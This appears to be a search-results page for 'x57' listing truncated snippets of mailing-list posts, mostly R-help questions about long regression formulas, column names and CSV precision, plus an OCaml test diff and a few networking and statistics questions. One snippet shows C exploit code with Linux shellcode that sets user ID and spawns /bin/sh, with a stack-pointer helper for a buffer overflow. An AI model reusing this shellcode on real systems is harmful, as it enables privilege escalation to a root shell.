search for: x57

...+ x7 + x8 + x9 + x10 + x11 + x12 + x13 + x14 + x15 + x16 + x17 + x18 + x19 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x27 + x28 + x29 + x30 + x31 + x32 + x33 + x34 + x35 + x36 + x37 + x38 + x39 + x40 + x41 + x42 + x43 + x44 + x45 + x46 + x47 + x48 + x49 + x50 + x51 + x52 + x53 + x54 + x55 + x56 + x57 + x58 + x59 + x60 + x61 + x62 + x63 + x64 + x65 + x66 + x67 + x68 + x69 + x70 + x71 + x72 + x73 + x74 + x75 + x76 + x77 + x78 + x79 + x80) it gives me an error "Error in eval(expr, envir, enclos) : object 'x3' not found" which I dont know why I am given those errors. The other thi...

...quot;,"X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75",&quot...

...uilda1<-cbind(X27,X48) Guilda2<-cbind(X5,X17,X19,X20,X21,X24,X25,X26,X40,X41,X77) Guilda3<-cbind(X22,X28,X69) Guilda4<-cbind(X29,X30,X31,X32,X33,X34,X35,X36,X37,X78) Guilda5<-cbind(X3,X8,X18,X23,X63,X82,X83) Guilda6<-cbind(X6,X38,X39,X44,X45,X46,X47,X49,X50,X51,X52,X53,X54,X55,X56,X57,X58,X59,X60,X61,X62,X84) Guilda7<-cbind(X1,X2,X42,X43,X64,X65,X66,X67,X68,X79,X80) Guilda8<-cbind(X7,X15,X16,X70,X71,X72,X73,X74,X75,X76) Guilda9<-cbind(X4,X9,X10,X11,X12,X13,X14,X81) Resul.Guilda1<-sum(apply(Guilda1,2,sum)) Resul.Guilda2<-sum(apply(Guilda2,2,sum)) Resul.Guilda3<-...

...); + assert (unix_canonical_path "///" = "/"); + assert (unix_canonical_path "///usr//local//" = "/usr/local"); + assert (unix_canonical_path "/usr///" = "/usr") + +(* Test utf16le_to_utf8. *) +let () = + assert (utf16le_to_utf8 "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00" = "Windows"); + assert (utf16le_to_utf8 "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\xae\x00" = "Windows\xc2\xae") diff --git a/daemon/utils.ml b/daemon/utils.ml index b459a2314..b94515b71 100644 -...

...X39","X40","X41" > ,"X42","X43","X44","X45","X46","X47","X48","X49","X50","X51" > ,"X52","X53","X54","X55","X56","X57","X58","X59","X60","X61" > ,"X62","X63","X64","X65","X66","X67","X68","X69","X70","X71" > ,"X72","X73","X74","X75...

..."X40" [41] "X41" "X42" "X43" "X44" "X45" "X46" "X47" "X48" "X49" "X50" "X51" "X52" "X53" "X54" "X55" "X56" "X57" "X58" "X59" "X60" [61] "X61" "X62" "X63" "X64" "X65" "X66" "X67" "X68" "X69" "X70" "X71" "X72" "X73" "X74"...

Hello, I have looked on https://www.r-project.org/bugs.html , but it seems that this is the only way to do it. The issue is that the precision used by write.csv is on consistant for big files. See the following code: First I create a large dataframe filled with random uniform values. Then I write it to .csv and print out the first and last lines. df = data.frame(replicate(100, runif(1000000,

...ll X. variables are continuous, while the conditions are categoricals. model <- lm(X2 +X3+X4+X5+X6+X7+X8+X9+X10+X11+X12+X13+X14+X15+X16+X17+X18+X19+X20+X21+X22+X23+X24+X25+X26+X27+X28+X29+X30+X31+X32+X33+X34+X35+X36+X37+X38+X39+X40+X41+X42+X43+X44+X45+X46+X47+X48+X49+X50+X51+X52+X53+X54+X55+X56+X57+X58+X59+X60+X61+X62+X63+X64+X65+X66+X67+X68+X69+X70+X71+X72+X73+X74+X75+X76+X77+X78+X79+X80+X81+X82+X83+X84+X85+X86+X87+X88+X89+X90+X91+X92+X93+X94+X95+X96+X97+X98+X99+X100+X101+X102+X103+X104+X105+X106+X107+X108+X109+X110+X111+X112+X113+X114+X115+X116+X117+X118+X119+X120+X121+X122+X123+X124+X125+X...

...quot;,"X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75",&quot...

...x39","x40", "x41","x42","x43","x44","x45","x46","x47","x48","x49","x50", "x51","x52","x53","x54","x55","x56","x57","x58","x59","x60", "x61","x62","x63","x64","x65","x66","x67","x68","x69","x70", "x71","x72","x73","x74","x75...

...ot;, "X40", "X41", "X42", "X43", "X44", "X45", "X46", "X47", "X48", "X49", "X50", "X51", "X52", "X53", "X54", "X55", "X56", "X57", "X58", "X59", "X60", "X61", "X62", "X63", "X64", "X65", "X66", "X67", "X68", "X69", "X70", "X71", "X72", "X73", "X74", &qu...

...quot;,"X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75",&quot...

Hello there, I''m having lots of problems with my setup here. Let me explain: I am network administrator for my university dorm. We are about 300 users, and we have 2 ADSL connections doing load balancing with 300kbits upstream and 2Mbit downstream. The load balancing is working great, we are doing connection tracking so I can mark and hence prioritize interactive traffic and ACKS

...X77 "CC" "AA" "CT" X25 "TT" "AG" "TT" X26 "CT" "GG" "CC" X53 "CT" "GG" "CC" X55 "CT" "AG" "CC" X57 "CT" "AG" "TT" X71 "CT" "AA" "CT" X4 "TT" "AA" "CT" X7 "CT" "AG" "CT" X21 "TT" "AA" "CT" X22...

...uot;right") ~ ridge(X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X12, X13, X14, X15, X16, X17, X18, X19, X20, X21, X22, X23, X24, X25, X26, X27, X28, X29, X30, X31, X32, X33, X34, X35, X36, X37, X38, X39, X40, X41, X42, X43, X44, X45, X46, X47, X48, X49, X50, X51, X52, X53, X54, X55, X56, X57, X58, X59, X60, X61, X62, X63, X64, X65, X66, X67, X68, X69, X70, X71, X72, X73, X74, X75, X76, X77, X78, X79, X80, X81, X82, X83, X84, X85, X86, X87, X88, X89, X90, X91, X92, X93, X94, X95, X96, X97, X98, X99, X100, theta = lambda, scale = FALSE) and get the error message Error in model.frame...

Hi, I was wondering how it was possible to access the actual cluster exemplars from the APResult class. Currently it only spits it out onto the terminal if you type the object but there is no other way to see which one is the examplar. Would appreciate any help. Thanks, Sachin [[alternative HTML version deleted]]

If you want a character representation of a long formula (or a formula with long names), you can use: as.character(my.formula) However restriction on length of an as.character result returns only the beginning of a long formula, and without comment. In most cases, the following expression provides the complete result: paste(my.formula[[2]], " ~ ",

...e <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i]...

...quot;,"X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51","X52","X53","X54","X55","X56","X57","X58","X59","X60","X61","X62","X63","X64","X65","X66","X67","X68","X69","X70","X71","X72","X73","X74","X75",&quot...

This is a covariance calculation question so nothing to do with R but maybe someone could help me anyway. Suppose, I have two random variables X and Y whose means are both known to be zero and I want to get an estimate of their covariance. I have n sample pairs (X1,Y1) (X2,Y2) . . . . . (Xn,Yn) , so that the covariance estimate is clearly 1/n *(sum from i = 1 to n of ( X_i*Y_i) ) But,